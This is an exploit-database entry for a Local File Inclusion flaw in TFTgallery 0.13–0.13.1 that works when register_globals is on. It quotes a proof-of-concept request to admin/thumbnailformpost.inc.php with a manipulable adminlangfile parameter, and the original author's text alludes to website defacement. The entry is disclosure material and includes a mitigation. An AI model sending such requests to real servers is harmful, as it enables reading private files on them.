TFTgallery - exploit.company

vendor:

TFTgallery

by:

Havok

7,5

CVSS

HIGH

Local File Inclusion (LFI)

CWE

Product Name: TFTgallery

Affected Version From: 0.13

Affected Version To: 0.13.1

Patch Exists: YES

Related CWE: N/A

CPE: a:tftgallery:tftgallery

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

TFTgallery <= 0.13.1 Local File Inclusion (LFI)

TFTgallery is a PHP script available on SourceForge. It is vulnerable to a Local File Inclusion (LFI) vulnerability due to the use of the register_globals=On setting. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server, such as http://www.IM-G0ING-T0-G3T-HACK3D.COM/TFTP-GALLERY-PATH/admin/thumbnailformpost.inc.php?adminlangfile=[LFI], which can allow the attacker to read arbitrary files from the server.

Mitigation:

Disable the register_globals setting and ensure that all input is properly validated.

Source

Exploit-DB raw data:

# TFTgallery <= 0.13.1 Local File Inclusion (LFI)
# 28/10/2010
# PHP script available on SourceForge. TFTgallery 0.13 : http://prdownloads.sourceforge.net/tftgallery/tftgallery-0.13.zip
#                                      TFTgallery 0.13.1 patch : http://www.tftgallery.org/versions/tftgallery-0.13-to-0.13.1.zip
# By Havok, from France.
# KAS-D10 à tous les leets. Hey lamers, i hope that it will help you to notify another stupid defacement on Zone-H. Cheers mates!
# Enj0y!
# Wanna contact me? h4v0k1337<at>gmail<dot>com
# 
## register_globals=On (Who said "what a useless vulnerability!" =()

"include_once "language/" . $adminlangfile;" (@thumbnailformpost.inc.php (line 3) for the win ;)).

http://www.IM-G0ING-T0-G3T-HACK3D.COM/TFTP-GALLERY-PATH/admin/thumbnailformpost.inc.php?adminlangfile=[LFI]

Maybe some other vulnerabilities, too lazy to check at the moment, sorry =).

<END>